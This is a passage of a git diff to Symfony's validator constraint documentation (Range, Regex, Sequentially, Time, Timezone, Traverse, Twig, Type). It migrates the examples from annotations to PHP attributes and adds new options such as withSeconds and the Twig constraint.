:class:`Symfony\\Component\\Validator\\Constraints\\RangeValidator` ========== =================================================================== @@ -23,12 +12,12 @@ Validator :class:`Symfony\\Component\\Validator\\Constraints\\RangeValidator` Basic Usage ----------- -To verify that the "height" field of a class is between "120" and "180", +To verify that the ``height`` field of a class is between ``120`` and ``180``, you might add the following: .. configuration-block:: - .. code-block:: php-annotations + .. code-block:: php-attributes // src/Entity/Participant.php namespace App\Entity; @@ -37,14 +26,12 @@ you might add the following: class Participant { - /** - * @Assert\Range( - * min = 120, - * max = 180, - * notInRangeMessage = "You must be between {{ min }}cm and {{ max }}cm tall to enter", - * ) - */ - protected $height; + #[Assert\Range( + min: 120, + max: 180, + notInRangeMessage: 'You must be between {{ min }}cm and {{ max }}cm tall to enter', + )] + protected int $height; } .. code-block:: yaml @@ -87,13 +74,15 @@ you might add the following: class Participant { - public static function loadValidatorMetadata(ClassMetadata $metadata) + // ... + + public static function loadValidatorMetadata(ClassMetadata $metadata): void { - $metadata->addPropertyConstraint('height', new Assert\Range([ - 'min' => 120, - 'max' => 180, - 'notInRangeMessage' => 'You must be between {{ min }}cm and {{ max }}cm tall to enter', - ])); + $metadata->addPropertyConstraint('height', new Assert\Range( + min: 120, + max: 180, + notInRangeMessage: 'You must be between {{ min }}cm and {{ max }}cm tall to enter', + )); } } @@ -107,7 +96,7 @@ date must lie within the current year like this: .. configuration-block:: - .. code-block:: php-annotations + .. code-block:: php-attributes // src/Entity/Event.php namespace App\Entity; @@ -116,13 +105,11 @@ date must lie within the current year like this: class Event { - /** - * @Assert\Range( - * min = "first day of January", - * max = "first day of January next year" - * ) - */ - protected $startDate; + #[Assert\Range( + min: 'first day of January', + max: 'first day of January next year', + )] + protected \DateTimeInterface $startDate; } .. code-block:: yaml @@ -163,12 +150,14 @@ date must lie within the current year like this: class Event { - public static function loadValidatorMetadata(ClassMetadata $metadata) + // ... + + public static function loadValidatorMetadata(ClassMetadata $metadata): void { - $metadata->addPropertyConstraint('startDate', new Assert\Range([ - 'min' => 'first day of January', - 'max' => 'first day of January next year', - ])); + $metadata->addPropertyConstraint('startDate', new Assert\Range( + min: 'first day of January', + max: 'first day of January next year', + )); } } @@ -177,7 +166,7 @@ dates. If you want to fix the timezone, append it to the date string: .. configuration-block:: - .. code-block:: php-annotations + .. code-block:: php-attributes // src/Entity/Event.php namespace App\Entity; @@ -186,13 +175,11 @@ dates. If you want to fix the timezone, append it to the date string: class Event { - /** - * @Assert\Range( - * min = "first day of January UTC", - * max = "first day of January next year UTC" - * ) - */ - protected $startDate; + #[Assert\Range( + min: 'first day of January UTC', + max: 'first day of January next year UTC', + )] + protected \DateTimeInterface $startDate; } .. code-block:: yaml @@ -233,12 +220,14 @@ dates. If you want to fix the timezone, append it to the date string: class Event { - public static function loadValidatorMetadata(ClassMetadata $metadata) + // ... + + public static function loadValidatorMetadata(ClassMetadata $metadata): void { - $metadata->addPropertyConstraint('startDate', new Assert\Range([ - 'min' => 'first day of January UTC', - 'max' => 'first day of January next year UTC', - ])); + $metadata->addPropertyConstraint('startDate', new Assert\Range( + min: 'first day of January UTC', + max: 'first day of January next year UTC', + )); } } @@ -247,7 +236,7 @@ can check that a delivery date starts within the next five hours like this: .. configuration-block:: - .. code-block:: php-annotations + .. code-block:: php-attributes // src/Entity/Order.php namespace App\Entity; @@ -256,13 +245,11 @@ can check that a delivery date starts within the next five hours like this: class Order { - /** - * @Assert\Range( - * min = "now", - * max = "+5 hours" - * ) - */ - protected $deliveryDate; + #[Assert\Range( + min: 'now', + max: '+5 hours', + )] + protected \DateTimeInterface $deliveryDate; } .. code-block:: yaml @@ -303,12 +290,14 @@ can check that a delivery date starts within the next five hours like this: class Order { - public static function loadValidatorMetadata(ClassMetadata $metadata) + // ... + + public static function loadValidatorMetadata(ClassMetadata $metadata): void { - $metadata->addPropertyConstraint('deliveryDate', new Assert\Range([ - 'min' => 'now', - 'max' => '+5 hours', - ])); + $metadata->addPropertyConstraint('deliveryDate', new Assert\Range( + min: 'now', + max: '+5 hours', + )); } } @@ -317,15 +306,11 @@ Options .. include:: /reference/constraints/_groups-option.rst.inc -invalidDateTimeMessage -~~~~~~~~~~~~~~~~~~~~~~ +``invalidDateTimeMessage`` +~~~~~~~~~~~~~~~~~~~~~~~~~~ **type**: ``string`` **default**: ``This value should be a valid number.`` -.. versionadded:: 5.2 - - The ``invalidDateTimeMessage`` option was introduced in Symfony 5.2. - The message displayed when the ``min`` and ``max`` values are PHP datetimes but the given value is not. @@ -337,8 +322,8 @@ Parameter Description ``{{ value }}`` The current (invalid) value =============== ============================================================== -invalidMessage -~~~~~~~~~~~~~~ +``invalidMessage`` +~~~~~~~~~~~~~~~~~~ **type**: ``string`` **default**: ``This value should be a valid number.`` @@ -354,20 +339,16 @@ Parameter Description ``{{ label }}`` Corresponding form field label =============== ============================================================== -.. versionadded:: 5.2 - - The ``{{ label }}`` parameter was introduced in Symfony 5.2. - -max -~~~ +``max`` +~~~~~~~ **type**: ``number`` or ``string`` (date format) This required option is the "max" value. Validation will fail if the given value is **greater** than this max value. -maxMessage -~~~~~~~~~~ +``maxMessage`` +~~~~~~~~~~~~~~ **type**: ``string`` **default**: ``This value should be {{ limit }} or less.`` @@ -384,8 +365,8 @@ Parameter Description ``{{ value }}`` The current (invalid) value =============== ============================================================== -maxPropertyPath -~~~~~~~~~~~~~~~ +``maxPropertyPath`` +~~~~~~~~~~~~~~~~~~~ **type**: ``string`` @@ -402,16 +383,16 @@ with regard to the ``$deadline`` property of the same object, use include it in the error messages displayed to end users, it's useful when using APIs for doing any mapping logic on client-side. -min -~~~ +``min`` +~~~~~~~ **type**: ``number`` or ``string`` (date format) This required option is the "min" value. Validation will fail if the given value is **less** than this min value. -minMessage -~~~~~~~~~~ +``minMessage`` +~~~~~~~~~~~~~~ **type**: ``string`` **default**: ``This value should be {{ limit }} or more.`` @@ -428,8 +409,8 @@ Parameter Description ``{{ value }}`` The current (invalid) value =============== ============================================================== -minPropertyPath -~~~~~~~~~~~~~~~ +``minPropertyPath`` +~~~~~~~~~~~~~~~~~~~ **type**: ``string`` @@ -446,8 +427,8 @@ with regard to the ``$startDate`` property of the same object, use include it in the error messages displayed to end users, it's useful when using APIs for doing any mapping logic on client-side. -notInRangeMessage -~~~~~~~~~~~~~~~~~ +``notInRangeMessage`` +~~~~~~~~~~~~~~~~~~~~~ **type**: ``string`` **default**: ``This value should be between {{ min }} and {{ max }}.`` diff --git a/reference/constraints/Regex.rst b/reference/constraints/Regex.rst index 642a1fc180d..e3b4d4711b2 100644 --- a/reference/constraints/Regex.rst +++ b/reference/constraints/Regex.rst @@ -5,13 +5,6 @@ Validates that a value matches a regular expression. ========== =================================================================== Applies to :ref:`property or method <validation-property-target>` -Options - `groups`_ - - `htmlPattern`_ - - `match`_ - - `message`_ - - `pattern`_ - - `normalizer`_ - - `payload`_ Class :class:`Symfony\\Component\\Validator\\Constraints\\Regex` Validator :class:`Symfony\\Component\\Validator\\Constraints\\RegexValidator` ========== =================================================================== @@ -26,7 +19,7 @@ more word characters at the beginning of your string: .. configuration-block:: - .. code-block:: php-annotations + .. code-block:: php-attributes // src/Entity/Author.php namespace App\Entity; @@ -35,10 +28,8 @@ more word characters at the beginning of your string: class Author { - /** - * @Assert\Regex("/^\w+/") - */ - protected $description; + #[Assert\Regex('/^\w+/')] + protected string $description; } .. code-block:: yaml @@ -76,11 +67,13 @@ more word characters at the beginning of your string: class Author { - public static function loadValidatorMetadata(ClassMetadata $metadata) + // ... + + public static function loadValidatorMetadata(ClassMetadata $metadata): void { - $metadata->addPropertyConstraint('description', new Assert\Regex([ - 'pattern' => '/^\w+/', - ])); + $metadata->addPropertyConstraint('description', new Assert\Regex( + pattern: '/^\w+/', + )); } } @@ -91,7 +84,7 @@ it a custom message: .. configuration-block:: - .. code-block:: php-annotations + .. code-block:: php-attributes // src/Entity/Author.php namespace App\Entity; @@ -100,14 +93,12 @@ it a custom message: class Author { - /** - * @Assert\Regex( - * pattern="/\d/", - * match=false, - * message="Your name cannot contain a number" - * ) - */ - protected $firstName; + #[Assert\Regex( + pattern: '/\d/', + match: false, + message: 'Your name cannot contain a number', + )] + protected string $firstName; } .. code-block:: yaml @@ -150,13 +141,15 @@ it a custom message: class Author { - public static function loadValidatorMetadata(ClassMetadata $metadata) + // ... + + public static function loadValidatorMetadata(ClassMetadata $metadata): void { - $metadata->addPropertyConstraint('firstName', new Assert\Regex([ - 'pattern' => '/\d/', - 'match' => false, - 'message' => 'Your name cannot contain a number', - ])); + $metadata->addPropertyConstraint('firstName', new Assert\Regex( + pattern: '/\d/', + match: false, + message: 'Your name cannot contain a number', + )); } } @@ -167,25 +160,25 @@ Options .. include:: /reference/constraints/_groups-option.rst.inc -htmlPattern -~~~~~~~~~~~ +``htmlPattern`` +~~~~~~~~~~~~~~~ -**type**: ``string|boolean`` **default**: null +**type**: ``string|null`` **default**: ``null`` This option specifies the pattern to use in the HTML5 ``pattern`` attribute. You usually don't need to specify this option because by default, the constraint will convert the pattern given in the `pattern`_ option into an HTML5 compatible -pattern. This means that the delimiters are removed (e.g. ``/[a-z]+/`` becomes -``[a-z]+``). +pattern. Notably, the delimiters are removed and the anchors are implicit (e.g. +``/^[a-z]+$/`` becomes ``[a-z]+``, and ``/[a-z]+/`` becomes ``.*[a-z]+.*``). However, there are some other incompatibilities between both patterns which cannot be fixed by the constraint. For instance, the HTML5 ``pattern`` attribute -does not support flags. If you have a pattern like ``/[a-z]+/i``, you +does not support flags. If you have a pattern like ``/^[a-z]+$/i``, you need to specify the HTML5 compatible pattern in the ``htmlPattern`` option: .. configuration-block:: - .. code-block:: php-annotations + .. code-block:: php-attributes // src/Entity/Author.php namespace App\Entity; @@ -194,13 +187,11 @@ need to specify the HTML5 compatible pattern in the ``htmlPattern`` option: class Author { - /** - * @Assert\Regex( - * pattern = "/^[a-z]+$/i", - * htmlPattern = "^[a-zA-Z]+$" - * ) - */ - protected $name; + #[Assert\Regex( + pattern: '/^[a-z]+$/i', + htmlPattern: '^[a-zA-Z]+$' + )] + protected string $name; } .. code-block:: yaml @@ -211,7 +202,7 @@ need to specify the HTML5 compatible pattern in the ``htmlPattern`` option: name: - Regex: pattern: '/^[a-z]+$/i' - htmlPattern: '^[a-zA-Z]+$' + htmlPattern: '[a-zA-Z]+' .. code-block:: xml @@ -225,7 +216,7 @@ need to specify the HTML5 compatible pattern in the ``htmlPattern`` option: <property name="name"> <constraint name="Regex"> <option name="pattern">/^[a-z]+$/i</option> - <option name="htmlPattern">^[a-zA-Z]+$</option> + <option name="htmlPattern">[a-zA-Z]+</option> </constraint> </property> </class> @@ -241,19 +232,21 @@ need to specify the HTML5 compatible pattern in the ``htmlPattern`` option: class Author { - public static function loadValidatorMetadata(ClassMetadata $metadata) + // ... + + public static function loadValidatorMetadata(ClassMetadata $metadata): void { - $metadata->addPropertyConstraint('name', new Assert\Regex([ - 'pattern' => '/^[a-z]+$/i', - 'htmlPattern' => '^[a-zA-Z]+$', - ])); + $metadata->addPropertyConstraint('name', new Assert\Regex( + pattern: '/^[a-z]+$/i', + htmlPattern: '[a-zA-Z]+', + )); } } -Setting ``htmlPattern`` to false will disable client side validation. +Setting ``htmlPattern`` to the empty string will disable client side validation. -match -~~~~~ +``match`` +~~~~~~~~~ **type**: ``boolean`` default: ``true`` @@ -262,8 +255,8 @@ the given `pattern`_ regular expression. However, when this option is set to ``false``, the opposite will occur: validation will pass only if the given string does **not** match the `pattern`_ regular expression. -message -~~~~~~~ +``message`` +~~~~~~~~~~~ **type**: ``string`` **default**: ``This value is not valid.`` @@ -271,21 +264,18 @@ This is the message that will be shown if this validator fails. You can use the following parameters in this message: -=============== ============================================================== -Parameter Description -=============== ============================================================== -``{{ value }}`` The current (invalid) value -``{{ label }}`` Corresponding form field label -=============== ============================================================== - -.. versionadded:: 5.2 +================= ============================================================== +Parameter Description +================= ============================================================== +``{{ value }}`` The current (invalid) value +``{{ label }}`` Corresponding form field label +``{{ pattern }}`` The expected matching pattern +================= ============================================================== - The ``{{ label }}`` parameter was introduced in Symfony 5.2. - -pattern -~~~~~~~ +``pattern`` +~~~~~~~~~~~ -**type**: ``string`` [:ref:`default option <validation-default-option>`] +**type**: ``string`` This required option is the regular expression pattern that the input will be matched against. By default, this validator will fail if the input string diff --git a/reference/constraints/Sequentially.rst b/reference/constraints/Sequentially.rst index 39424a6c523..078be338cdf 100644 --- a/reference/constraints/Sequentially.rst +++ b/reference/constraints/Sequentially.rst @@ -7,15 +7,8 @@ step-by-step, allowing to interrupt the validation once the first violation is r As an alternative in situations ``Sequentially`` cannot solve, you may consider using :doc:`GroupSequence </validation/sequence_provider>` which allows more control. -.. versionadded:: 5.1 - - The ``Sequentially`` constraint was introduced in Symfony 5.1. - ========== =================================================================== Applies to :ref:`property or method <validation-property-target>` -Options - `constraints`_ - - `groups`_ - - `payload`_ Class :class:`Symfony\\Component\\Validator\\Constraints\\Sequentially` Validator :class:`Symfony\\Component\\Validator\\Constraints\\SequentiallyValidator` ========== =================================================================== @@ -35,7 +28,7 @@ In such situations, you may encounter three issues: * the ``Length`` or ``Regex`` constraints may fail hard with a :class:`Symfony\\Component\\Validator\\Exception\\UnexpectedValueException` exception if the actual value is not a string, as enforced by ``Type``. -* you may end with multiple error messages for the same property +* you may end with multiple error messages for the same property. * you may perform a useless and heavy external call to geolocalize the address, while the format isn't valid. @@ -43,7 +36,7 @@ You can validate each of these constraints sequentially to solve these issues: .. configuration-block:: - .. code-block:: php-annotations + .. code-block:: php-attributes // src/Localization/Place.php namespace App\Localization; @@ -53,18 +46,14 @@ You can validate each of these constraints sequentially to solve these issues: class Place { - /** - * @var string - * - * @Assert\Sequentially({ - * @Assert\NotNull(), - * @Assert\Type("string"), - * @Assert\Length(min=10), - * @Assert\Regex(Place::ADDRESS_REGEX), - * @AcmeAssert\Geolocalizable(), - * }) - */ - public $address; + #[Assert\Sequentially([ + new Assert\NotNull, + new Assert\Type('string'), + new Assert\Length(min: 10), + new Assert\Regex(Place::ADDRESS_REGEX), + new AcmeAssert\Geolocalizable, + ])] + public string $address; } .. code-block:: yaml @@ -116,12 +105,12 @@ You can validate each of these constraints sequentially to solve these issues: class Place { - public static function loadValidatorMetadata(ClassMetadata $metadata) + public static function loadValidatorMetadata(ClassMetadata $metadata): void { $metadata->addPropertyConstraint('address', new Assert\Sequentially([ new Assert\NotNull(), - new Assert\Type("string"), - new Assert\Length(['min' => 10]), + new Assert\Type('string'), + new Assert\Length(min: 10), new Assert\Regex(self::ADDRESS_REGEX), new AcmeAssert\Geolocalizable(), ])); @@ -134,7 +123,7 @@ Options ``constraints`` ~~~~~~~~~~~~~~~ -**type**: ``array`` [:ref:`default option <validation-default-option>`] +**type**: ``array`` This required option is the array of validation constraints that you want to apply sequentially. diff --git a/reference/constraints/Time.rst b/reference/constraints/Time.rst index e94613e1f6f..6d4de73398f 100644 --- a/reference/constraints/Time.rst +++ b/reference/constraints/Time.rst @@ -2,13 +2,10 @@ Time ==== Validates that a value is a valid time, meaning a string (or an object that can -be cast into a string) that follows a valid ``HH:MM:SS`` format. +be cast into a string) that follows a valid ``H:i:s`` format (e.g. ``'16:27:36'``). ========== =================================================================== Applies to :ref:`property or method <validation-property-target>` -Options - `groups`_ - - `message`_ - - `payload`_ Class :class:`Symfony\\Component\\Validator\\Constraints\\Time` Validator :class:`Symfony\\Component\\Validator\\Constraints\\TimeValidator` ========== =================================================================== @@ -21,7 +18,7 @@ of the day when the event starts: .. configuration-block:: - .. code-block:: php-annotations + .. code-block:: php-attributes // src/Entity/Event.php namespace App\Entity; @@ -31,10 +28,10 @@ of the day when the event starts: class Event { /** - * @Assert\Time * @var string A "H:i:s" formatted value */ - protected $startsAt; + #[Assert\Time] + protected string $startsAt; } .. code-block:: yaml @@ -73,9 +70,9 @@ of the day when the event starts: /** * @var string A "H:i:s" formatted value */ - protected $startsAt; + protected string $startsAt; - public static function loadValidatorMetadata(ClassMetadata $metadata) + public static function loadValidatorMetadata(ClassMetadata $metadata): void { $metadata->addPropertyConstraint('startsAt', new Assert\Time()); } @@ -104,8 +101,18 @@ Parameter Description ``{{ label }}`` Corresponding form field label =============== ============================================================== -.. versionadded:: 5.2 +``withSeconds`` +~~~~~~~~~~~~~~~ - The ``{{ label }}`` parameter was introduced in Symfony 5.2. +**type**: ``boolean`` **default**: ``true`` + +This option allows you to specify whether the time should include seconds. + +========= =============================== ============== ================ +Option Pattern Correct value Incorrect value +========= =============================== ============== ================ +``true`` ``/^(\d{2}):(\d{2}):(\d{2})$/`` ``12:00:00`` ``12:00`` +``false`` ``/^(\d{2}):(\d{2})$/`` ``12:00`` ``12:00:00`` +========= =============================== ============== ================ .. include:: /reference/constraints/_payload-option.rst.inc diff --git a/reference/constraints/Timezone.rst b/reference/constraints/Timezone.rst index 98ca73c156a..ffc1cee9fdd 100644 --- a/reference/constraints/Timezone.rst +++ b/reference/constraints/Timezone.rst @@ -5,12 +5,6 @@ Validates that a value is a valid timezone identifier (e.g. ``Europe/Paris``). ========== ====================================================================== Applies to :ref:`property or method <validation-property-target>` -Options - `countryCode`_ - - `groups`_ - - `intlCompatible`_ - - `message`_ - - `payload`_ - - `zone`_ Class :class:`Symfony\\Component\\Validator\\Constraints\\Timezone` Validator :class:`Symfony\\Component\\Validator\\Constraints\\TimezoneValidator` ========== ====================================================================== @@ -23,7 +17,7 @@ string which contains any of the `PHP timezone identifiers`_ (e.g. ``America/New .. configuration-block:: - .. code-block:: php-annotations + .. code-block:: php-attributes // src/Entity/UserSettings.php namespace App\Entity; @@ -32,10 +26,8 @@ string which contains any of the `PHP timezone identifiers`_ (e.g. ``America/New class UserSettings { - /** - * @Assert\Timezone - */ - protected $timezone; + #[Assert\Timezone] + protected string $timezone; } .. code-block:: yaml @@ -71,7 +63,9 @@ string which contains any of the `PHP timezone identifiers`_ (e.g. ``America/New class UserSettings { - public static function loadValidatorMetadata(ClassMetadata $metadata) + // ... + + public static function loadValidatorMetadata(ClassMetadata $metadata): void { $metadata->addPropertyConstraint('timezone', new Assert\Timezone()); } @@ -82,8 +76,8 @@ string which contains any of the `PHP timezone identifiers`_ (e.g. ``America/New Options ------- -countryCode -~~~~~~~~~~~ +``countryCode`` +~~~~~~~~~~~~~~~ **type**: ``string`` **default**: ``null`` @@ -96,8 +90,8 @@ The value of this option must be a valid `ISO 3166-1 alpha-2`_ country code .. include:: /reference/constraints/_groups-option.rst.inc -intlCompatible -~~~~~~~~~~~~~~ +``intlCompatible`` +~~~~~~~~~~~~~~~~~~ **type**: ``boolean`` **default**: ``false`` @@ -110,8 +104,8 @@ timezones provided by PHP's Intl extension (because they use different ICU versions). If this option is set to ``true``, this constraint only considers valid the values compatible with the PHP ``\IntlTimeZone::createTimeZone()`` method. -message -~~~~~~~ +``message`` +~~~~~~~~~~~ **type**: ``string`` **default**: ``This value is not a valid timezone.`` @@ -126,14 +120,10 @@ Parameter Description ``{{ label }}`` Corresponding form field label =============== ============================================================== -.. versionadded:: 5.2 - - The ``{{ label }}`` parameter was introduced in Symfony 5.2. - .. include:: /reference/constraints/_payload-option.rst.inc -zone -~~~~ +``zone`` +~~~~~~~~ **type**: ``string`` **default**: ``\DateTimeZone::ALL`` diff --git a/reference/constraints/Traverse.rst b/reference/constraints/Traverse.rst index fd329bd38a3..56d400fb964 100644 --- a/reference/constraints/Traverse.rst +++ b/reference/constraints/Traverse.rst @@ -8,8 +8,6 @@ constraint. ========== =================================================================== Applies to :ref:`class <validation-class-target>` -Options - `payload`_ - - :ref:`traverse <traverse-option>` Class :class:`Symfony\\Component\\Validator\\Constraints\\Traverse` ========== =================================================================== @@ -21,37 +19,33 @@ that all have constraints on their properties. .. configuration-block:: - .. code-block:: php-annotations + .. code-block:: php-attributes // src/Entity/BookCollection.php namespace App\Entity; + use App\Entity\Book; use Doctrine\Common\Collections\ArrayCollection; - use Doctrine\Common\Collections\Collection + use Doctrine\Common\Collections\Collection; use Doctrine\ORM\Mapping as ORM; use Symfony\Component\Validator\Constraints as Assert; - /** - * @ORM\Entity - * @Assert\Traverse - */ + #[ORM\Entity] + #[Assert\Traverse] class BookCollection implements \IteratorAggregate { /** * @var string - * - * @ORM\Column - * - * @Assert\NotBlank */ - protected $name = ''; + #[ORM\Column] + #[Assert\NotBlank] + protected string $name = ''; /** * @var Collection|Book[] - * - * @ORM\ManyToMany(targetEntity="App\Entity\Book") */ - protected $books; + #[ORM\ManyToMany(targetEntity: Book::class)] + protected ArrayCollection $books; // some other properties @@ -83,7 +77,7 @@ that all have constraints on their properties. // neither the method above nor any other specific getter // could be used to validated all nested books; // this object needs to be traversed to call the iterator - public function getIterator() + public function getIterator(): \Iterator { return $this->books->getIterator(); } @@ -121,7 +115,7 @@ that all have constraints on their properties. { // ... - public static function loadValidatorMetadata(ClassMetadata $metadata) + public static function loadValidatorMetadata(ClassMetadata $metadata): void { $metadata->addConstraint(new Assert\Traverse()); } @@ -146,14 +140,14 @@ The ``groups`` option is not available for this constraint. ``traverse`` ~~~~~~~~~~~~ -**type**: ``bool`` **default**: ``true`` +**type**: ``boolean`` **default**: ``true`` Instances of ``\Traversable`` are traversed by default, use this option to disable validating: .. configuration-block:: - .. code-block:: php-annotations + .. code-block:: php-attributes // src/Entity/BookCollection.php @@ -161,8 +155,8 @@ disable validating: /** * ... - * @Assert\Traverse(false) */ + #[Assert\Traverse(false)] class BookCollection implements \IteratorAggregate { // ... @@ -200,7 +194,7 @@ disable validating: { // ... - public static function loadValidatorMetadata(ClassMetadata $metadata) + public static function loadValidatorMetadata(ClassMetadata $metadata): void { $metadata->addConstraint(new Assert\Traverse(false)); } diff --git a/reference/constraints/Twig.rst b/reference/constraints/Twig.rst new file mode 100644 index 00000000000..e38b4507d7a --- /dev/null +++ b/reference/constraints/Twig.rst @@ -0,0 +1,130 @@ +Twig Constraint +=============== + +.. versionadded:: 7.3 + + The ``Twig`` constraint was introduced in Symfony 7.3. + +Validates that a given string contains valid :ref:`Twig syntax <twig-language>`. +This is particularly useful when template content is user-generated or +configurable, and you want to ensure it can be rendered by the Twig engine. + +.. note:: + + Using this constraint requires having the ``symfony/twig-bridge`` package + installed in your application (e.g. by running ``composer require symfony/twig-bridge``). + +========== =================================================================== +Applies to :ref:`property or method <validation-property-target>` +Class :class:`Symfony\\Bridge\\Twig\\Validator\\Constraints\\Twig` +Validator :class:`Symfony\\Bridge\\Twig\\Validator\\Constraints\\TwigValidator` +========== =================================================================== + +Basic Usage +----------- + +Apply the ``Twig`` constraint to validate the contents of any property or the +returned value of any method:: + + use Symfony\Bridge\Twig\Validator\Constraints\Twig; + + class Template + { + #[Twig] + private string $templateCode; + } + +.. configuration-block:: + + .. code-block:: php-attributes + + // src/Entity/Page.php + namespace App\Entity; + + use Symfony\Bridge\Twig\Validator\Constraints\Twig; + + class Page + { + #[Twig] + private string $templateCode; + } + + .. code-block:: yaml + + # config/validator/validation.yaml + App\Entity\Page: + properties: + templateCode: + - Symfony\Bridge\Twig\Validator\Constraints\Twig: ~ + + .. code-block:: xml + + <!-- config/validator/validation.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <constraint-mapping xmlns="http://symfony.com/schema/dic/constraint-mapping" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://symfony.com/schema/dic/constraint-mapping https://symfony.com/schema/dic/constraint-mapping/constraint-mapping-1.0.xsd"> + + <class name="App\Entity\Page"> + <property name="templateCode"> + <constraint name="Symfony\Bridge\Twig\Validator\Constraints\Twig"/> + </property> + </class> + </constraint-mapping> + + .. code-block:: php + + // src/Entity/Page.php + namespace App\Entity; + + use Symfony\Bridge\Twig\Validator\Constraints\Twig; + use Symfony\Component\Validator\Mapping\ClassMetadata; + + class Page + { + // ... + + public static function loadValidatorMetadata(ClassMetadata $metadata): void + { + $metadata->addPropertyConstraint('templateCode', new Twig()); + } + } + +Constraint Options +------------------ + +``message`` +~~~~~~~~~~~ + +**type**: ``message`` **default**: ``This value is not a valid Twig template.`` + +This is the message displayed when the given string does *not* contain valid Twig syntax:: + + // ... + + class Page + { + #[Twig(message: 'Check this Twig code; it contains errors.')] + private string $templateCode; + } + +This message has no parameters. + +``skipDeprecations`` +~~~~~~~~~~~~~~~~~~~~ + +**type**: ``boolean`` **default**: ``true`` + +If ``true``, Twig deprecation warnings are ignored during validation. Set it to +``false`` to trigger validation errors when the given Twig code contains any deprecations:: + + // ... + + class Page + { + #[Twig(skipDeprecations: false)] + private string $templateCode; + } + +This can be helpful when enforcing stricter template rules or preparing for major +Twig version upgrades. diff --git a/reference/constraints/Type.rst b/reference/constraints/Type.rst index 1962dffa284..b49536dff8b 100644 --- a/reference/constraints/Type.rst +++ b/reference/constraints/Type.rst @@ -7,10 +7,6 @@ option to validate this. ========== =================================================================== Applies to :ref:`property or method <validation-property-target>` -Options - `groups`_ - - `message`_ - - `payload`_ - - :ref:`type <reference-constraint-type-type>` Class :class:`Symfony\\Component\\Validator\\Constraints\\Type` Validator :class:`Symfony\\Component\\Validator\\Constraints\\TypeValidator` ========== =================================================================== @@ -18,7 +14,11 @@ Validator :class:`Symfony\\Component\\Validator\\Constraints\\TypeValidator` Basic Usage ----------- -This will check if ``id`` is an instance of ``Ramsey\Uuid\UuidInterface``, +This constraint should be applied to untyped variables/properties. If a property +or variable is typed and you pass a value of a different type, PHP will throw an +exception before this constraint is checked. + +The following example checks if ``emailAddress`` is an instance of ``Symfony\Component\Mime\Address``, ``firstName`` is of type ``string`` (using :phpfunction:`is_string` PHP function), ``age`` is an ``integer`` (using :phpfunction:`is_int` PHP function) and ``accessCode`` contains either only letters or only digits (using @@ -26,36 +26,29 @@ This will check if ``id`` is an instance of ``Ramsey\Uuid\UuidInterface``, .. configuration-block:: - .. code-block:: php-annotations + .. code-block:: php-attributes // src/Entity/Author.php namespace App\Entity; + use Symfony\Component\Mime\Address; use Symfony\Component\Validator\Constraints as Assert; class Author { - /** - * @Assert\Type("Ramsey\Uuid\UuidInterface") - */ - protected $id; - - /** - * @Assert\Type("string") - */ + #[Assert\Type(Address::class)] + protected $emailAddress; + + #[Assert\Type('string')] protected $firstName; - /** - * @Assert\Type( - * type="integer", - * message="The value {{ value }} is not a valid {{ type }}." - * ) - */ + #[Assert\Type( + type: 'integer', + message: 'The value {{ value }} is not a valid {{ type }}.', + )] protected $age; - /** - * @Assert\Type(type={"alpha", "digit"}) - */ + #[Assert\Type(type: ['alpha', 'digit'])] protected $accessCode; } @@ -64,8 +57,8 @@ This will check if ``id`` is an instance of ``Ramsey\Uuid\UuidInterface``, # config/validator/validation.yaml App\Entity\Author: properties: - id: - - Type: Ramsey\Uuid\UuidInterface + emailAddress: + - Type: Symfony\Component\Mime\Address firstName: - Type: string @@ -88,9 +81,9 @@ This will check if ``id`` is an instance of ``Ramsey\Uuid\UuidInterface``, xsi:schemaLocation="http://symfony.com/schema/dic/constraint-mapping https://symfony.com/schema/dic/constraint-mapping/constraint-mapping-1.0.xsd"> <class name="App\Entity\Author"> - <property name="id"> + <property name="emailAddress"> <constraint name="Type"> - <option name="type">Ramsey\Uuid\UuidInterface</option> + <option name="type">Symfony\Component\Mime\Address</option> </constraint> </property> <property name="firstName"> @@ -120,36 +113,40 @@ This will check if ``id`` is an instance of ``Ramsey\Uuid\UuidInterface``, // src/Entity/Author.php namespace App\Entity; - use Ramsey\Uuid\UuidInterface; + use Symfony\Component\Mime\Address; use Symfony\Component\Validator\Constraints as Assert; use Symfony\Component\Validator\Mapping\ClassMetadata; class Author { - public static function loadValidatorMetadata(ClassMetadata $metadata) + // ... + + public static function loadValidatorMetadata(ClassMetadata $metadata): void { - $metadata->addPropertyConstraint('id', new Assert\Type(UuidInterface::class)); + $metadata->addPropertyConstraint('emailAddress', new Assert\Type(Address::class)); $metadata->addPropertyConstraint('firstName', new Assert\Type('string')); - $metadata->addPropertyConstraint('age', new Assert\Type([ - 'type' => 'integer', - 'message' => 'The value {{ value }} is not a valid {{ type }}.', - ])); + $metadata->addPropertyConstraint('age', new Assert\Type( + type: 'integer', + message: 'The value {{ value }} is not a valid {{ type }}.', + )); - $metadata->addPropertyConstraint('accessCode', new Assert\Type([ - 'type' => ['alpha', 'digit'], - ])); + $metadata->addPropertyConstraint('accessCode', new Assert\Type( + type: ['alpha', 'digit'], + )); } } +.. include:: /reference/constraints/_null-values-are-valid.rst.inc + Options ------- .. include:: /reference/constraints/_groups-option.rst.inc -message -~~~~~~~ +``message`` +~~~~~~~~~~~ **type**: ``string`` **default**: ``This value should be of type {{ type }}.`` @@ -165,39 +162,42 @@ Parameter Description ``{{ label }}`` Corresponding form field label =============== ============================================================== -.. versionadded:: 5.2 - - The ``{{ label }}`` parameter was introduced in Symfony 5.2. - .. include:: /reference/constraints/_payload-option.rst.inc .. _reference-constraint-type-type: -type -~~~~ +``type`` +~~~~~~~~ -**type**: ``string`` or ``array`` [:ref:`default option <validation-default-option>`] +**type**: ``string`` or ``array`` This required option defines the type or collection of types allowed for the given value. Each type is either the FQCN (fully qualified class name) of some PHP class/interface or a valid PHP datatype (checked by PHP's ``is_()`` functions): -* :phpfunction:`array <is_array>` * :phpfunction:`bool <is_bool>` -* :phpfunction:`callable <is_callable>` -* :phpfunction:`float <is_float>` -* :phpfunction:`double <is_double>` +* :phpfunction:`boolean <is_bool>` * :phpfunction:`int <is_int>` -* :phpfunction:`integer <is_integer>` -* :phpfunction:`iterable <is_iterable>` -* :phpfunction:`long <is_long>` -* :phpfunction:`null <is_null>` +* :phpfunction:`integer <is_int>` +* :phpfunction:`long <is_int>` +* :phpfunction:`float <is_float>` +* :phpfunction:`double <is_float>` +* :phpfunction:`real <is_float>` * :phpfunction:`numeric <is_numeric>` +* 